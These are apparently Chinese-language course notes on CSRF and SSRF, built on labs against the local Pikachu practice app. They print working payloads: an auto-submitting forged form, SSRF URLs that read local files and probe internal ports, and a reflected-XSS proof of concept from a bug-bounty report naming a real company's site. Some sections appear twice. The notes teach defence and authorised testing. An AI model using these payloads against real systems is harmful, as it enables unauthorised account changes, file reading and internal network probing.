1.CSRF
1.1 概念
全称是Cross-Site Request Forgery,跨站请求伪造。
黑客利用已经登录的用户,诱导其访问或登录早已构造好的恶意链接的页面。然后在用户毫不知情的情况下,以用户的名义完成非用户本意的操作。
1.2 CSRF的攻击流程

1.3 CSRF的防御
从用户角度,登录一个重要的网站,操作完成后,一定先点击用户退出,然后再访问其它网站,避免遭受CSRF攻击。
1.4 CSRF漏洞利用的实验
1.CSRF GET实验
1.1 使用lili登录,单击submit按钮,提交信息前,抓包。
GET /pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=18656565666&add=usa&email=lili%40pikachu.com&submit=submit HTTP/1.1 Host: 127.0.0.1 ......
1.2 根据抓到的数据包,构造恶意的GET 请求
http://127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=18656565111&add=usa&email=lili%40pikachu.com&submit=submit
1.3 引诱lili这个用户去点击黑客构造的链接,(攻击成功的前提条件,lili在没有退出登录的情况下点击)
1.4 引诱lili这个用户去点击黑客构造的链接,(lili如果退出登录了,这个攻击就会失败!)
2.CSRF POST实验
1.1 使用lili登录,单击submit按钮,提交信息前,抓包。
POST /pikachu/vul/csrf/csrfpost/csrf_post_edit.php HTTP/1.1 Host: 127.0.0.1 ..... sex=girl&phonenum=18656565666&add=usa&email=lili%40pikachu.com&submit=submit
1.2 根据抓到的数据包,构造恶意的POST 请求
想一个问题,根据我们所学知识,如何发送post请求?需要使用form表单。
在WWW/WEBSEC/DAY02目录下,创建一个csrfpost.html文件
<form action="http://127.0.0.1/pikachu/vul/csrf/csrfpost/csrf_post_edit.php" method="post"> <input type="text" name="sex" value="boy"> <input type="text" name="phonenum" value="15988767111"> <input type="text" name="add" value="nba+lakes"> <input type="text" name="email" value="lili@tedu.cn"> <input type="submit" name="submit" value="submit" id="postsubmit"> </form> <script> // 实现自动提交,含义是当窗口一加载时,实现自动点击表单提交按钮 window.onload=function(){ document.getElementById("postsubmit").click(); } </script>
1.3 在lili没有退出登录的情况下,引诱lili这个用户去访问csrfpost.html文件,攻击成功!
1.4 在lili退出登录的情况下,引诱lili这个用户去访问csrfpost.html文件,攻击失败!
从开发者角度出发,我们应该做到即使用户没有退出登录,我们一样可以防御CSRF攻击!
1.3 CSRF_token
令牌-一个表示身份的随机的,一次性的字符串.不会存储在cookie中. 这是它与seesionid的区别.
1.3.1 csrf_token的原理

1.3.2csrf_token的实验
1> 使用lili登录,单击submit按钮,提交信息前,抓包。
GET /pikachu/vul/csrf/csrftoken/token_get_edit.php?sex=girl&phonenum=15988767666&add=nba%2Blakes&email=lili%40tedu.cn& token=1635064337035930c0905032766 &submit=submit HTTP/1.1 Host: 127.0.0.1 ......
2> 根据抓到的数据包,构造恶意的GET 请求
原先csrf_get请求:
http://127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=18656565111&add=usa&email=lili%40pikachu.com&submit=submit
csrf_token请求:
http://127.0.0.1/pikachu/vul/csrf/csrftoken/token_get_edit.php?sex=boy&phonenum=18656565111&add=nba%2Blakes&email=lili%40tedu.cn&token=1635064337035930c0905032766&submit=submit
3> 引诱lili这个用户去点击黑客构造的链接,无论是否退出登录, 攻击都会失败!
由于csrf攻击的条件比较苛刻,所以它带来的风险是比较小的.这就是为什么普通企业的网站不在意该类型的漏洞.
对比XSS和CSRF?
xss-黑客能够拿到cookie吗?可以偷到cookie中的数据
csrf-黑客能够拿到cookie吗?不可以,只是对cookie中数据的利用
2.SSRF
2.1 概念
全称:Server-Side Request Forgery ,中文是服务器端请求伪造。
当前的服务器提供了访问第三方服务器页面的功能。当前服务器访问的第三方服务的页面地址(url)由用户提供的。如果服务器没有对用户的url做检查和过滤,用户可能提供的是内网服务器的地址。用户可以以当前服务器为跳板,访问受限的内网服务器。
2.2 SSRF原理

SSRF的危害:可以访问外网无法访问的内网信息。
2.3 SSRF的漏洞利用实验
1.在后端php代码中使用curl_exec函数
1> 可以访问pikechu提供的url,并返回文章的内容,注意url:
http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php? url =http://127.0.0.1/pikachu/vul/ssrf/ssrf_info/info1.php
2> 修改为百度/京东/淘宝这样的第三方服务器地址
http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php? url=http://www.baidu.com http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php? url=https://www.jd.com http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php? url=https://www.taobao.com
3> 如果在后端php代码中,没有对url参数进行限制,我们可以访问内网服务器。假设内网服务器地址是:192.168.10.143。我们以pikachu这个服务器为跳板机去访问内网服务器。
http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php? url=http://192.168.10.143
curl支持的协议非常多,产生的漏洞的危害很大。
4> 读文件file:///, 端口服务信息探测 dict://
http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php? url=file:///c:/windows/win.ini http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php? url=dict://192.168.10.143:22 http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php? url=dict://192.168.10.143:21 http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php? url=dict://192.168.10.143:3306
2.在后端php代码中使用file_get_content函数
读取文件内容:
http://127.0.0.1/pikachu/vul/ssrf/ssrf_fgc.php?file= c:/windows/win.ini http://127.0.0.1/pikachu/vul/ssrf/ssrf_fgc.php?file= http://192.168.10.143 http://127.0.0.1/pikachu/vul/ssrf/ssrf_fgc.php?file= http://127.0.0.1/phpinfo.php
2.4 SSRF的防御
1.对参数限制,设置url的黑名单或白名单
黑名单:提供一个不允许访问的名单;除了名单以外的,都允许访问.
白名单:提供一个允许访问的名单;只允许访问名单中的数据.(限制更严格)
if($URL!="http://127.0.0.1/pikachu/vul/ssrf/ssrf_info/info1.php"){ //die函数的作用是终止php程序的执行,禁止访问 die("禁止访问!"); }
2.限制curl_exec函数支持的协议
//1.初始化 $CH = curl_init($URL); //2.设置 curl_setopt($CH, CURLOPT_HEADER, FALSE); curl_setopt($CH, CURLOPT_SSL_VERIFYPEER, FALSE); // 设置curl命令支持的协议 (限制协议) curl_setopt($CH, CURLOPT_PROTOCOLS, CURLPROTO_HTTP|CURLPROTO_HTTPS); //3.执行访问操作,返回响应的数据 $RES = curl_exec ($CH); //4.关闭 curl_close($CH) ;
如何挖掘SSRF漏洞呢? 参数是url的链接,网站提供了访问第三方服务器的功能.
在乌云网上看相关案例.
如果用burpsuite抓https数据包,需要导入证书。
1.burpsuite导出证书
1.1 打开浏览器设置的burpsuite的代理
1.2 在浏览器地址栏中输入: http://burp,在打开的页面中,点击右上角CA Certificate,就可以下载证书,证书的名字默认是: cacert.der。


2.浏览器导入burpsuite的证书
2.1浏览器右上角的菜单中,点击设置。
2.2 在搜索框中输入:证书。进入到证书页面
2.3点击查看证书,进入到证书管理器窗口,点击导入按钮,将原先导出的证书选中,进行导入。
2.4 导入时,弹出一个对话框,将对话框中的复选框选中,表示信任此证书。
3.抓取https数据包
开启burpsuite中的proxy模块中的拦截功能,就可以抓取https的数据包了。
课后作业:如何抓取手机app的数据包。(还可以使用模拟器代替手机[雷电、逍遥等]。)
1.前提: 手机和pc机在同一个内网。
POC是什么? Proof of Concept, 概念验证,验证漏洞是否存在。
EXP是什么?Exploit,漏洞利用即渗透攻击。
2.在各种SRC【应急响应中心】平台中提交漏洞
2.1漏洞盒子: https://www.vulbox.com/
门槛比较低,几乎什么漏洞都收。
在写漏洞复现步骤前,增加一项
1.IP域名归属证明
2.复现步骤.....
我们可以提交sql注入、任意用户注册、信息泄露。
我们可以选择公益SRC,也可以选择专属SRC(具体一定水平,有赏金的),这些案例也可以经过脱敏处理,写到你的简历项目中。
2.2补天SRC: https://www.butian.net/
门槛稍微高一点,有些漏洞不收的,例如,反射型XSS可能不收。对有漏洞的网站有权重的排名要求。
2.3 CNVD: https://www.cnvd.org.cn/ 看安全新闻和安全文章
门槛稍微高一点,在这儿提交,主要想获取CNVD颁发的原创漏洞证书。
如何获取CNVD原创漏洞证书
2.4 教育SRC平台: https://src.sjtu.edu.cn/ 学习更多的漏洞提交的文章
专属各大高校的网站漏洞提交平台
2.5 各大厂商的SRC平台
2.6 国外的SRC平台
因为提交漏洞时,我们是没有取得书面授权的,很多事不能做的。不能修改管理员密码,不能向网站上传木马,不能修改原有的数据,点到为止(验证网站有漏洞即可,不要做漏洞利用)。
尽量不要使用扫描工具扫未授权的网站!
不要一个漏洞在多个网站提交。
一、漏洞挖掘
我们如何增加自己的渗透测试经验?
1.打自己部署靶场(pikachu、dvwa、sqli_lab、upload_lab、CTF靶场:DC1~DC9 )
2.在各种SRC【应急响应中心】平台中提交漏洞
2.1漏洞盒子: https://www.vulbox.com/
门槛比较低,几乎什么漏洞都收。
在写漏洞复现步骤前,增加一项
1.IP域名归属证明
2.复现步骤.....
我们可以提交sql注入、任意用户注册、信息泄露。
我们可以选择公益SRC,也可以选择专属SRC(具体一定水平,有赏金的),这些案例也可以经过脱敏处理,写到你的简历项目中。
1)注册,最好使用真实信息,方便以后挖掘专属SRC,获取赏金。
2) 登录后,先考虑挖公益SRC。
3) 提交公益SRC的漏洞,点击菜单"项目大厅"

4)点击公益src中的"提交漏洞按钮",进入到提交漏洞页面。

5) 填写提交漏洞信息
漏洞标题:西安夏溪电子科技有限公司反射型XSS漏洞
漏洞类别:事件型
参与评定:普通漏洞
厂商名称: 西安夏溪电子科技有限公司
漏洞类型:选择对应的类型即可。Web漏洞/XSS/反射型XSS
漏洞等级: 低危
漏洞简述:西安夏溪电子科技有限公司网站,查询功能中存在反射型XSS漏洞
漏洞url/功能点: http://www.xiatech.com.cn/Select.asp
漏洞poc请求包:<script>alert(1)</script>
复现步骤:
- 域名/IP归属证明 --注释:在站长工具中通过域名查询


3.点击查找按钮,弹框,说明此处存在反射型XSS漏洞

最后,填写所属地区,行业,行业分类,点击提交漏洞按钮。

修复建议:
对用户输入的查找数据,在后台做html实体字符替换。
任意注册、任意登录、sql注入、xss、敏感信息泄露,这些漏洞是比较好挖掘和提交的。
2.2补天SRC: https://www.butian.net/
门槛稍微高一点,有些漏洞不收的,例如,反射型XSS可能不收。对有漏洞的网站有权重的排名要求。
2.3 CNVD: https://www.cnvd.org.cn/ 看安全新闻和安全文章
门槛稍微高一点,在这儿提交,主要想获取CNVD颁发的原创漏洞证书。
如何获取CNVD原创漏洞证书
2.4 教育SRC平台: https://src.sjtu.edu.cn/ 学习更多的漏洞提交的文章
专属各大高校的网站漏洞提交平台
2.5 各大厂商的SRC平台
2.6 国外的SRC平台
注意事项
- 因为提交漏洞时,我们是没有取得书面授权的,很多事不能做的。不能修改管理员密码,不能向网站上传木马,不能修改原有的数据,点到为止(验证网站有漏洞即可,不要做漏洞利用)。
- 尽量不要使用扫描工具扫未授权的网站!
- 不要一个漏洞在多个src平台提交。
3.取得书面授权后,参加真实的渗透测试项目
一些技术论坛:
1.先知社区
2.freebuf
3.看雪论坛
......